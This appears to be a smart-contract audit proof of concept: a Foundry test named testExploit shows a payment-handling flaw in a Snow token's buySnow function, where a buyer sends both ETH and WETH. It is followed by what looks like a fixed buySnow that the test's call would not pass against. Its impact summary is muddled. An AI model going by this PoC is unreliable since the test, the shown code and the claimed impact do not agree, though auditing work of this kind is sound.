function testExploit() public {
console.log("\n=== EXPLOIT DEMONSTRATION ===");
uint256 tokensToMint = 5;
uint256 requiredPayment = snowToken.s_buyFee() * tokensToMint;
console.log("Tokens to mint:", tokensToMint);
console.log("Required payment:", requiredPayment);
uint256 initialAttackerETH = attacker.balance;
uint256 initialAttackerWETH = weth.balanceOf(attacker);
uint256 initialAttackerTokens = snowToken.balanceOf(attacker);
console.log("\n--- Initial State ---");
console.log("Attacker ETH:", initialAttackerETH);
console.log("Attacker WETH:", initialAttackerWETH);
console.log("Attacker Snow tokens:", initialAttackerTokens);
vm.startPrank(attacker);
vm.expectRevert();
snowToken.buySnow{value: 1 wei}(tokensToMint);
console.log("✓ Correctly reverted when sending wrong ETH amount with no WETH");
weth.mint(attacker, 1 ether);
weth.approve(address(snowToken), 1 ether);
vm.expectRevert();
snowToken.buySnow{value: 1 wei}(tokensToMint);
console.log("✓ Correctly reverted when trying to buy more tokens than WETH balance");
uint256 smallAmount = 1;
uint256 smallETHSent = 0.5 ether;
weth.mint(attacker, 2 ether);
weth.approve(address(snowToken), 2 ether);
console.log("\n--- Exploit Attempt ---");
console.log("Buying 1 token (requires 1 ETH or 1 WETH)");
console.log("Sending 0.5 ETH (wrong amount) - should trigger WETH path");
snowToken.buySnow{value: smallETHSent}(smallAmount);
vm.stopPrank();
console.log("\n--- Final State ---");
console.log("Attacker ETH spent:", initialAttackerETH - attacker.balance);
console.log("Attacker WETH spent:", initialAttackerWETH + 3 ether - weth.balanceOf(attacker));
console.log("Attacker Snow tokens gained:", snowToken.balanceOf(attacker));
console.log("Contract ETH received:", address(snowToken).getContractBalance());
console.log("Contract WETH received:", weth.balanceOf(address(snowToken)));
assertEq(snowToken.balanceOf(attacker), 1);
assertEq(address(snowToken).getContractBalance(), 0.5 ether);
assertEq(weth.balanceOf(address(snowToken)), 1 ether);
console.log("\n=== VULNERABILITY SUMMARY ===");
console.log("- Attacker sent 0.5 ETH + 1 WETH = 1.5 total value");
console.log("- Contract expected either 1 ETH OR 1 WETH");
console.log("- 0.5 ETH is now stuck in contract with no way to retrieve it");
console.log("- This allows partial double-payment exploitation");
}
function buySnow(uint256 amount) external payable canFarmSnow {
require(amount > 0, "Amount must be greater than zero");
uint256 totalCost = s_buyFee * amount;
if (msg.value > 0) {
// Payment with ETH
require(msg.value == totalCost, "Incorrect ETH amount sent");
_mint(msg.sender, amount);
} else {
// Payment with WETH token
require(msg.value == 0, "Cannot send both ETH and use WETH");
i_weth.safeTransferFrom(msg.sender, address(this), totalCost);
_mint(msg.sender, amount);
}
s_earnTimer = block.timestamp;
emit SnowBought(msg.sender, amount);
}